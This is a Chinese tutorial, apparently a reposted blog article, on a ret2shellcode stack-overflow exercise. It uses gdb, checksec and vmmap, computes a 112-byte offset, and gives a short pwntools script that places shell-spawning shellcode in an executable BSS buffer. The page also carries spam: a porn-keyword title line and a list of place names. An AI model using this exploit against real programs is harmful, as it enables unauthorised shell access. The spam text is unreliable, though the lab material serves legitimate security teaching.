91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

緩沖區溢出-基本ROP-ret2shellcode

發布時間:2020-04-11 01:52:01 來源:網絡 閱讀:1292 作者:Margin_51cto 欄目:安全技術

本文視頻:
???????? 如果文字過于枯燥,可觀看在線視頻:https://edu.51cto.com/sd/16514

基礎知識:

??????? ret2shellcode,即控制程序執行 shellcode 代碼。shellcode 指的是用于完成某個功能的匯編代碼,常見的功能主要是獲取目標系統的 shell。一般來說,shellcode 需要我們自己填充。這其實是另外一種典型的利用方法,即此時我們需要自己去填充一些可執行的代碼。

在棧溢出的基礎上,要想執行 shellcode,需要對應的 binary 在運行時,shellcode 所在的區域具有可執行權限。

第一步:分析程序代碼

使用gdb ./ret2shellcode加載程序,在命令行中輸入checksec來查看啟用的保護

緩沖區溢出-基本ROP-ret2shellcode

可以發現沒有啟用任何保護

我們使用disass main來看下main函數的匯編代碼

緩沖區溢出-基本ROP-ret2shellcode

這里對strncpy函數做分析,strncpy的api為:char *strncpy(char *dest,char *src,int size_t);第一個參數是接收的變量,第二個是從那里復制,第三個是復制多少。經過分析第一個參數就是[esp],第二個參數是[esp+0x4],第三個參數是[esp+0x8],這樣我們知道最終要復制的內容要放到[esp]中,而現在[esp]是0x804a080。

緩沖區溢出-基本ROP-ret2shellcode

經過分析發現調用了gets函數和strncpy函數,其中gets函數存在溢出漏洞,但是該程序沒有使用system("/bin/sh"),我們可以嘗試讓程序跳轉到我們的shellcode中,也就是說gets函數接收的不再是普通的字符串而是我們構建好的shellcode。

我們看下0x804a080地址在哪里:

第一種方法:使用IDA

緩沖區溢出-基本ROP-ret2shellcode

第二種方法:在gdb里運行readelf,或者在linux的shell里運行readelf -S xxx查看bss段位置

緩沖區溢出-基本ROP-ret2shellcode

是一個BSS段,如果可以我們講shellcode放到bss段中,然后將函數的返回值改為0x804a080,現在還缺少一個條件,就是bss段0x804a080是否有執行權限,我們斷點調試下:

執行b main 進行斷點

執行r 運行程序

執行vmmap查看是否有執行權限

緩沖區溢出-基本ROP-ret2shellcode

0x804a080的區間是在標紅的0x0804a000到0x0804b000,有x執行權限

第二步:查找程序溢出的偏移量

重新執行gdb ./ret2shellcode命令加載程序

執行pattern create 200創建字符串

執行 r運行

輸入剛才創建的字符串

緩沖區溢出-基本ROP-ret2shellcode

得到0x41384141地址,我們使用pattern offset 0x41384141來查看偏移

緩沖區溢出-基本ROP-ret2shellcode

然后可以想到溢出代碼:

from pwn import *

p = process('./ret2shellcode')

shellcode = asm(shellcraft.sh())

buf2_addr = 0x804a080

p.sendline(shellcode.ljust(112,'a') + p32(buf2_addr))

p.interactive()

#####

shellcode.ljust(112,'a')這段代碼就是要講shellcode不足112長度的地方用a來填充。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

陕西省| 垦利县| 类乌齐县| 南涧| 梓潼县| 道孚县| 宁国市| 绥棱县| 亚东县| 闽清县| 乐至县| 北宁市| 剑河县| 迭部县| 游戏| 漠河县| 郓城县| 璧山县| 连南| 屏边| 疏勒县| 泽普县| 房产| 稻城县| 安岳县| 灵璧县| 翁牛特旗| 喀喇沁旗| 花莲市| 盐津县| 铜鼓县| 石楼县| 黄龙县| 林口县| 神木县| 昌乐县| 义乌市| 泾川县| 清流县| 思茅市| 噶尔县|